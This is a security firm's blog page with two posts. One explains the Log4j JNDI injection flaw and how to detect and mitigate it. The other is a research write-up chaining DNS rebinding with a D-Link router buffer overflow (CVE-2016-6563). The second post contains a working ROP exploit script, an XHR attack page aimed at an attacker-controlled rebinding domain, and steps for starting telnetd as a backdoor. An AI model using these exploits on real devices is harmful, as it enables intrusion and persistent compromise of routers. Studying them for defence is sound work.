Tuesday, December 14, 2021

The Worst Log Injection. Ever. (Log4j [2.0.0-alpha,2.14.1] )

There has been such a hype about the Log4j issue and since IMQ Minded Security mission has always been about fixing, this informal post is about what's going on, how to check if someone's system is likely affected and how to fix the issue.

UPDATE 12-17-2021: Since several bypasses to the mitigations implemented on version 2.15/16 were found, be sure to update to  Log4j 2.3.1 (for Java 6), 2.12.3 (for Java 7), or 2.17.0 (for Java 8 and later) as described here and here ASAP!

What's the Buzz? (The Problem)

On Thursday 12/09/2021 a vulnerability affecting a very popular logging Java library was published on Github. A few hours later the infosec community was on fire.

The issue falls in the category of Template Language Injection, which involves a parser that is triggered to perform certain actions when particular sequences are found in the parsed string.

The library is Log4j and the vulnerable methods (sinks) are the ones that are usually called to actually log messages in files to keep track of events happening during the execution of an application:
  • log
  • fatal
  • error
  • warn
  • trace
  • ..

It means that, if the application wants to log some dynamic content coming from an external source, such as, a message about an error login from a non existing username, it might call something like:

logger.warn(username + " not found!");

If the username value is controlled by a malicious user it will be possible to exploit the vulnerability and even execute arbitrary code on the affected platform.

In particular, if an attacker is able to control the log message string, even partially, and he is able to inject the '${' and '}' metacharacters the Log4j Interpolator will parse the content and look for specific patterns.

According to the Interceptor class the following patterns are enabled by default:
  • log4j
  • sys 
  • env
  • main
  • marker
  • java
  • lower
  • upper
  • date
  • ctx
  • jndi (if org.apache.logging.log4j.core.lookup.JndiLookup is present)
  • web (if org.apache.logging.log4j.web.WebLookup is present)
  • docker 
  • spring
  • kubernetes

    So, the real deal is about an attack that can be performed via JNDI:LDAP keyword (or similar patterns such as RMI, COS etc..). In fact by injecting something like:


    as argument in the sink method, Log4j will:

    1. trigger a DNS request to check if the EVILLDAP hostname needs to be resolved
    2. perform an LDAP request to the (attacker controlled) LDAP server hosted on the resolved IP
    3. the attacker controlled LDAP server will then be able to reply with a malicious serialized Java object, which will be executed on the Log4j side.
    4. if the malicious object, by abusing internal features (gadgets), is able to trigger the correct set of instruction, the vulnerability will be successfully exploited.

    As can be noted, this is a two stages attack, in fact, after the vulnerability is triggered, the vulnerable application needs to send a request to the malicious server in order to get the RCE payload.

    What's the Impact and How about the Risk? (The Attack)

    The worst impact is the Remote Code Execution, which requires:

    1. the victim machine must be able to perform outbound requests 
    2. the attacker must be able to use the correct gadget chain to successfully perform the attack.
     Another important impact involves Exfiltration of Confidential Information via other pattern such as:
    • env:KEY
    • sys:KEY
    • ctx:KEY
    • web:KEY
    • ..
    In conjunction with DNS Requests or other layer 7 requests.
    Which requires that:
    1. the victim machine is allowed to perform DNS requests or perform outbound requests 
    In this second attack the attacker will be able to gather information such as internal cryptography keys or similar data from application mapped strings.

    Which Version is Affected?

    All version of Apache Log4j 2 until 2.15 excluded are affected. 

    In particular: 2.0-beta9 <= Apache Log4j <= 2.14.1

    Log4j version 1 might be affected in some specific case if JNDI is enabled, but it is not by default.

    WARNING: there is a bunch of blog posts asserting that some Java version mitigates the attacks, but that is NOT true. The vulnerability is independent on the Java version.

    Am I Vulnerable? (The Check)

    There are several ways to check if some of the deployed application is vulnerable...the correct answer would be implement Supply Chain Management, but this paragraph is for practical, urgent actions.

    If you've already implemented a process which allows to list:

    • *All* your applications and versions
    • *Where* they are deployed
    That list is called SBOM (Software Bill of Materials) which list of all the used software, libraries included and their versions.
    If you have it, there are very good chances that the time spent to find & fix everything will be relatively small.

    But, of course, having it depends on the maturity of the security process implemented in your company (check this out if you're interested in our services).

    Consider an enterprise without a SBOM. They might have hundreds of deployed software from external vendors and internally developed custom software. Meaning it will require a big effort of time and resources to prioritize and patch.

    If no SBOM is in place then, the first thing to do is to roll up your sleeves and for each instance:

    1. Login
    2. Check if there are running processes using java.
    3. Identify the directories and use the open source OWASP Dependency Check (or similar products).

    OWASP Dependency Check is able to recursively check for vulnerable libraries in a EAR/WAR/JAR deployed applications and also other files like POM.xml.

    Finally, have a look at the Indicator Of Compromise list that might help in case there's already been a security incident.

    How can I mitigate the risk? (The Fix)

    The permanent ones:
    • For each affected vendor you should ping them, asking for a patch or minor release. If they tell you that you must update to a major release and your product is not EOL, you should insist for a minor/patch level release which addresses the vulnerability.
    • For each internal application update Log4j library to version 2.16.
      • WARNING: Log4j 2.16 requires Java 8, so if you have Java < 8 there might be some more time consuming effort. In that case see if the following workaround is worth trying.

    The workarounds:
    • if Log4j version >= 2.10, as explained here, you can do the following steps:
      1. export the following ENVIRONMENT VARIABLE to the whole OS as LOG4J_FORMAT_MSG_NO_LOOKUPS=true
      2. relaunch the application.
      3. Check if you're still vulnerable with a POC.
    • For each affected machine:
      • if it's not supposed to generate egress traffic block DNS requests and new outbound traffic.
      • if it's supposed to generate outbound traffic, well...that falls into anomaly detection category, which could help but be sure that it is not a fingerprint based one since there's a lot of ways to bypass blocking rules.
      • last but not least it might be interesting to experiment some kind of RASP, such as this one, which will be able to identify contextual traffic without the risk of bypasses.
    Here's a nice InfoGraphics about the attack flow and the points of mitigation from GovCert.CH:


    This post was written in order to give some clarification about the CVE-2021-44228 and to give some thoughtful information regarding attacks, checks and fixes. 
    Please comment/email us if you need more clarifications.

    Tuesday, August 31, 2021

    A Journey Into the Beauty of DNSRebinding - Part 2


    In the first part, after a fast overview on the DNS Rebinding technique, we considered a practical example in which UPnP services has been exploited to perform NAT Injection attacks and, therefore, expose internal services on Internet.

    In this second post we are going to demonstrate how DNS Rebinding could be used to exploit vulnerable services running locally in order to achieve Remote Code Execution (RCE). 

    In particular, we will consider the case of CVE-2016-6563, which consists in a known Buffer Overflow issue caused by an unsafe parsing of the XML fields present in the login SOAP request affecting the HNAP service of some D-Link routers.

    In short, below are listed the steps in order to create a working DNS Rebinding proof of concept:

    • Firmware static and dynamic analysis;
    • Buffer Overflow sink and source identification through static binary analysis;
    • Exploit development through binary emulation;
    • DNS Rebinding + Buffer Overflow ROP exploit chaining.

    Static Firmware and Binary Analysis

    As a first step, we downloaded the "DIR-842_C1_FW300b18.bin" firmware, which was available on the vendor site, and extracted the squash-fs filesystem by using binwalk.

    $ binwalk -e DIR-842_C1_FW300b18.bin 

    0             0x0             DLOB firmware header, boot partition: "dev=/dev/mtdblock/5"
    112           0x70           uImage header, header size: 64 bytes, header CRC: 0x6A7785EB, created: 2017-05-19 16:57:27, image size: 1226247 bytes, Data Address: 0x80060000, Entry Point: 0x80060000, data CRC: 0xCD5C9222, OS: Linux, CPU: MIPS, image type: Multi-File Image, compression type: lzma, image name: "MIPS Seattle Linux-3.3.8"
    184           0xB8           LZMA compressed data, properties: 0x6D, dictionary size: 8388608 bytes, uncompressed size: 3616252 bytes
    1245296       0x130070       PackImg section delimiter tag, little endian size: 15765760 bytes; big endian size: 9564160 bytes
    1245328       0x130090       Squashfs filesystem, little endian, version 4.0, compression:xz, size: 9563526 bytes, 2480 inodes, blocksize: 131072 bytes, created: 2017-05-19 16:57:32

    Then we stared to inspect the "hnap" binary inside the filesystem and we found the same behavior described in CVE-2016-6563.

    We have then reversed the target binary with Ghidra and, by looking for the the strings related to the login parameters, we have identified the following function, which was renamed as "Vulnerable" in the following snippet of code.

    undefined4 Vulnerable(char *param_1)

     undefined4 uVar1;
     int iVar2;
     size_t sVar3;
     char *pcVar4;
     undefined4 local_758;
     undefined4 local_750;
     char *local_74c;
     char *local_748;
     undefined auStack1860 [4];
     undefined4 local_740;
     char acStack1852 [80];
     char acStack1772 [144];
     char acStack1628 [64];
     char acStack1564 [64];
     undefined2 local_5dc;
     char acStack1484 [64];
     char acStack1420 [68];
     char acStack1352 [64];
     char Action [128];
     char Username [128];
     char Password [128];
     undefined Captcha [128];
     undefined auStack776 [10];
     undefined auStack766 [20];
     undefined auStack746 [98];
     char acStack648 [64];
     char acStack584 [64];
     undefined auStack520 [64];
     char acStack456 [64];
     char acStack392 [128];
     char acStack264 [128];
     char acStack136 [128];
     DAT_00433260 = FUN_0041e620();
     local_758 = 0;
     uVar1 = FUN_0041edb4(DAT_00433260);
     uVar1 = FUN_0041edb4(DAT_00433260);
     uVar1 = FUN_0041edb4(DAT_00433260);
     uVar1 = FUN_0041edb4(DAT_00433260);
    . . .

    The "Action", "Username", "LoginPassword" and "Captcha" XML fields are parsed by the (renamed) "VulnerableXMLParser" method:

    void VulnerableXMLParser(char *controllable_input,undefined4 param_2,char *destination_buffer)

     size_t length_param;
     char *p;
     char *pcVar1;
     char var_overflow [1024];
     char acStack2060 [1024];
     char EOT [1028];
     length_param = strlen(acStack2060);
     p = strstr(controllable_input,acStack2060);
     if (p != (char *)0x0) {
       p = p + length_param;
       pcVar1 = strstr(p,EOT);
       if ((pcVar1 != (char *)0x0) && (pcVar1 = pcVar1 + -(int)p, -1 < (int)pcVar1)) {
         strlcpy(var_overflow,p,pcVar1 + 1);
         var_overflow[(int)pcVar1] = '\0';

    Here the user-controllable input present in the login parameter tags is copied in an insecure way:
    • inside a local buffer (i.e. "var_overflow");
    • into the 128 byte buffer defined inside the caller function through the "destination_buffer" pointer.

    Firmware Emulation and Binary Debugging

    In order to try to exploit the issue we have tried to emulate the firmware. We then used FAT in order to achieve full system emulation:

    # ./fat.py ../fwrs/DIR-842_C1_FW300b18.bin 

                                  __          _
                                / _|         | |
                                | |_   __ _  | |_
                                | _|  / _` | | __|
                                | |  | (_| | | |_
                                |_|   \__,_|  \__|

                  Welcome to the Firmware Analysis Toolkit - v0.3
      Offensive IoT Exploitation Training http://bit.do/offensiveiotexploitation
                    By Attify - https://attify.com | @attifyme
    [+] Firmware: DIR-842_C1_FW300b18.bin
    [+] Extracting the firmware...
    [+] Image ID: 1
    [+] Identifying architecture...
    [+] Architecture: mipseb
    [+] Building QEMU disk image...
    [+] Setting up the network connection, please standby...
    [+] Network interfaces: [('br0', ''), ('br1', '')]
    [+] All set! Press ENTER to run the firmware...
    [+] When running, press Ctrl + A X to terminate qemu
    Creating TAP device tap1_0...
    Set 'tap1_0' persistent and owned by uid 0
    Initializing VLAN...
    Bringing up TAP device...
    Adding route to
    Starting firmware emulation... use Ctrl-a + x to exit
    [   0.000000] Linux version (vagrant@vagrant-ubuntu-trusty-64) (gcc version 5.3.0 (GCC) ) #1 Thu Feb 18 01:39:21 UTC 2016
    [   0.000000]
    [   0.000000] LINUX started...
    [   0.000000] bootconsole [early0] enabled
    [   0.000000] CPU revision is: 00019300 (MIPS 24Kc)
    [   0.000000] FPU revision is: 00739300
    [   0.000000] Determined physical RAM map:

    However, we have used the QEMU user-mode emulation feature with the aim of debugging the issue and creating a working exploit.

    In particular, the following setting was used to emulate a HTTP request to the target mips "hnap" service:

    sudo chroot . ./qemu-mips-static -E HTTP_SOAPACTION="http://purenetworks.com/HNAP1/Login" -E HTTP_HNAP_AUTH="69201619B75DDDFF967E6ADD87BA945F 1583432673" -E REQUEST_URI="/HNAP1/" -E REQUET_METHOD="POST" -E HTTP_COOKIE="uid=99TIA1AP7" -E CONTENT_LENGTH=2640 -E CONTENT_TYPE="text/xml; charset=utf-8" -g 4444 ./htdocs/HNAP1/hnap
    Following the description of the used parameters:
    • chroot: the full command was executed within the root directory of the extracted squash-fs filesystem, so chroot . makes this directory the root directory;
    • qemu-mips-static: allows to emulate MIPS binaries. The "-E" options was used to set some environment variables required by "hnap" to regularly invoke the vulnerable method; "-g" sets the "QEMU_GDB" environment variable that opens a gdb-server on the specified port (in this case port 4444).

    It was then possible to attach to the gdb-server running on "localhost:4444" and debugging the target binary using gdb-multiarch as follows:

    $ gdb-multiarch 
    GNU gdb (Ubuntu 8.1-0ubuntu3.2)
    Copyright (C) 2018 Free Software Foundation, Inc.
    License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
    This is free software: you are free to change and redistribute it.
    There is NO WARRANTY, to the extent permitted by law. Type "show copying"
    and "show warranty" for details.
    This GDB was configured as "x86_64-linux-gnu".
    Type "show configuration" for configuration details.
    For bug reporting instructions, please see:
    Find the GDB manual and other documentation resources online at:
    For help, type "help".
    Type "apropos word" to search for commands related to "word".
    (gdb) file htdocs/HNAP1/hnap
    Reading symbols from htdocs/HNAP1/hnap...(no debugging symbols found)...done.
    (gdb) target remote
    Remote debugging using
    warning: remote target does not support file transfer, attempting to access files from local filesystem.
    Reading symbols from ~/firmware/fwrs/_DIR-842_C1_FW300b18.bin.extracted/squashfs-root/lib/ld-uClibc- debugging symbols found)...done.
    0x7f7e7f90 in _start () from ~/firmware/fwrs/_DIR-842_C1_FW300b18.bin.extracted/squashfs-root/lib/ld-uClibc-
    (gdb) c

    A working Buffer Overflow exploit

    After some digging into the analysis both user-mode and system-mode, we got a running ROP exploit that allowed us to execute an arbitrary command by jumping to the ld-uClibc- system() function:

    from pwn import *

    def p32_big(data):
           return p32(data, endian = 'big')

    libc_text_base = 0x2aae4000
    libc_text_start = 0x0
    libc_system = libc_text_base + (0x00062104 - libc_text_start)
    gadget1 = libc_text_base + (0x00042e08 - libc_text_start)
    # identified gadget
    # 0x00042e08 : sw $v0, 0xa8($sp) ; addiu $a0, $sp, 0xb8 ; lw $t9, 0x24($sp) ; jalr $t9 ; move $a1, $s6

    payload = "A" * 1028 + p32_big(gadget1)
    payload += "BBBB" # $sp points here
    payload += "C" * 32
    payload += p32_big(libc_system)
    payload += "C" * 144
    payload += "touch /tmp/minded;" # here the command to execute
    soap_body = "<?xml version=\"1.0\" encoding=\"utf-8\"?><soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"><soap:Body><Login xmlns=\"http://purenetworks.com/HNAP1/\"><Action>request</Action><Username>Admin</Username><LoginPassword>" + payload + "</LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>"


    The following gadget was found in the libc address and used to perform a return-to-system:

    0x00042e08 : sw $v0, 0xa8($sp) ; addiu $a0, $sp, 0xb8 ; lw $t9, 0x24($sp) ; jalr $t9 ; move $a1, $s6
    The gadget allows to jump to the next instruction through jalr $t9 and lw $t9, 0x24($sp); so we put the address of system() 36 bytes after the current pointed address. 

    The argument of system(), was previously controlled thanks to addiu $a0, $sp, 0xb8, which points to the stack location that contains the command to execute.

    Once adjusted the libc base address according to the system-mode, we could test the exploit by using curl (the body file contains the output of the python exploit):

    $ curl -X POST -d @body -H 'SOAPAction: http://purenetworks.com/HNAP1/Login' -H 'HNAP_AUTH: 7A6EA9269CBB71629F4EF2926343C7A1 1583173034' -H 'Content-Type: text/xml; charset=utf-8'

    <title>500 Internal Server Error</title>

    <h1>500 Internal Server Error</h1>

    The "touch /tmp/minded" command was successfully executed as this file was written in the "/tmp" directory of the emulated firmware. 

    The following output is related to FAT and shows the emulated router console exposing the SIGSEGV crash caused by the running exploit. 

    # [ 5278.120000] do_page_fault() #2: sending SIGSEGV to hnap for invalid read access from
    [ 5278.120000] 68202f90 (epc == 2ab26e20, ra == 2ab26e1c)
    [ 5278.120000] Cpu 0
    [ 5278.120000] $ 0   : 00000000 1000a400 68202f74 00000001
    [ 5278.120000] $ 4   : 2ab64000 7f80be50 00000000 00000000
    [ 5278.120000] $ 8   : 00000000 80104960 8f06cc98 0000000a
    [ 5278.124000] $12   : 00000008 811e41c0 00000000 00000000
    [ 5278.124000] $16   : 7f80cd88 2ab44000 004013b8 0049e444
    [ 5278.124000] $20   : 00487ec0 0049e88c 004a0000 00000000
    [ 5278.124000] $24   : 8f3cc4f0 2ab1db80                  
    [ 5278.124000] $28   : 2ab65400 7f80bea0 41414141 2ab26e1c
    [ 5278.124000] Hi   : 00000000
    [ 5278.124000] Lo   : 00000000
    [ 5278.124000] epc   : 2ab26e20 0x2ab26e20
    [ 5278.124000]     Not tainted
    [ 5278.124000] ra   : 2ab26e1c 0x2ab26e1c
    [ 5278.124000] Status: 0000a413   USER EXL IE
    [ 5278.124000] Cause : 10800008
    [ 5278.124000] BadVA : 68202f90
    [ 5278.124000] PrId : 00019300 (MIPS 24Kc)
    [ 5278.124000] Modules linked in:
    [ 5278.124000] Process hnap (pid: 20107, threadinfo=8f1b6000, task=8f2bd6e0, tls=2aab7440)
    [ 5278.124000] Stack : 42424242 43434343 43434343 43434343 43434343 43434343 43434343 43434343
    [ 5278.124000]         43434343 2ab46104 43434343 43434343 43434343 43434343 43434343 43434343
    [ 5278.128000]         43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343
    [ 5278.128000]         43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343
    [ 5278.128000]         43434343 43434343 43434343 43434343 43434343 43434343 43434343 43434343
    [ 5278.128000]         ...
    [ 5278.128000] Call Trace:
    [ 5278.128000]
    [ 5278.128000]
    [ 5278.128000] Code: 0320f809 02c02821 8fa200bc <8c59001c> 13200004 8fbc0018 0320f809 27a400b8 8fbc0018
    [ 5278.128000] hnap/20107: potentially unexpected fatal signal 11.
    [ 5278.128000]
    [ 5278.128000] Cpu 0
    [ 5278.128000] $ 0   : 00000000 1000a400 68202f74 00000001
    [ 5278.132000] $ 4   : 2ab64000 7f80be50 00000000 00000000
    [ 5278.132000] $ 8   : 00000000 80104960 8f06cc98 0000000a
    [ 5278.132000] $12   : 00000008 811e41c0 00000000 00000000
    [ 5278.132000] $16   : 7f80cd88 2ab44000 004013b8 0049e444
    [ 5278.132000] $20   : 00487ec0 0049e88c 004a0000 00000000
    [ 5278.132000] $24   : 8f3cc4f0 2ab1db80                  
    [ 5278.132000] $28   : 2ab65400 7f80bea0 41414141 2ab26e1c
    [ 5278.132000] Hi   : 00000000
    [ 5278.132000] Lo   : 00000000
    [ 5278.132000] epc   : 2ab26e20 0x2ab26e20
    [ 5278.132000]     Not tainted
    [ 5278.132000] ra   : 2ab26e1c 0x2ab26e1c
    [ 5278.132000] Status: 0000a413   USER EXL IE
    [ 5278.132000] Cause : 10800008
    [ 5278.132000] BadVA : 68202f90
    [ 5278.132000] PrId : 00019300 (MIPS 24Kc)
    Following the proof of the execution of the touch command (of the minded file).

    # ls /tmp/
    server.key     wburfe         wifi0.caldata minded
    server.crt     hapfie         wifi1.caldata

    Remote Command Execution through DNS Rebinding attack

    It was then possible to embed the generated payload inside an xhr SOAP request in the DNS Rebinding HTML attack page we used in the first part:

       <script src="jquery.min.js"></script>
           function exploit()
               var xhr = new XMLHttpRequest();
               xhr.open("POST", "http:\/\/127-0-0-1.192-168-0-1.attacker.com\/HNAP1\/", true);
               xhr.setRequestHeader("Accept", "*\/*");
               xhr.setRequestHeader("Content-Type", "text\/xml; charset=utf-8");
               xhr.setRequestHeader("HNAP_AUTH","7A6EA9269CBB71629F4EF2926343C7A1 1583173034");
               xhr.withCredentials = true;
               var aBody = new Uint8Array(body.length);
               for (var i = 0; i < aBody.length; i++)
               aBody[i] = body.charCodeAt(i);
               xhr.send(new Blob([aBody]));

           var trigger = true;
           function start() {
               jQuery.ajax ({
                   url: "/info/Login.html",
                   type: "GET",
                   data: "",
                    }).always(function (data,status){
                       console.log("[+] Checking SOP bypass...");
                       if(trigger && data.includes("<title>D-LINK</title>")){
                           console.log("[+] Sending Exploit...");
                           trigger = false;
                           console.log("[+] Waiting...");
           function poll() {
               setTimeout(function () {
                       console.log("[+] Exploit sent...")
              }, 6000);

           $(document).ready(function () {

       <h1>DNS Rebinding Attack against Dlink Router CVE-XXXXX</h1>
       <marquee>Insert here something...</marquee>
    Below the screenshot showing the execution of the xhr request after the successful DNS Rebinding attack.
    The exploit was successfully executed and the "testJS" file was created on the filesystem of the router.

    Following the complete DNS Rebinding attack scheme.

    Getting Persistence using DNS Rebinding + UPnP NAT Injection + telnetd service

    The next step for an attacker would be to create a backdoor in order to get persistent access to the victim's device.

    During the static firmware analysis we noticed the existence of "/usr/sbin/telnetd" within the firmware, so we could force the router to run the telnetd service just by replacing his path in the working exploit. 

    Following the generated HTTP request.

    The service was executed on the machine as shown in the following screenshot that shows the nmap output before and after the exploit execution.

    Telnet service status before the exploit execution:

    Telnet service started after the exploit execution:


    We were able to use the DNS Rebinding attack against CVE-2016-6563 proving that it is possible to execute a Remote Command Execution against a not public facing service, as the web interface of a router.

    Moreover, we have used the UPnP NAT Injection technique from the first part to expose the telnetd service to the public interface in order to get a remote backdoor.


    Alessandro Braccio
    Giovanni Guido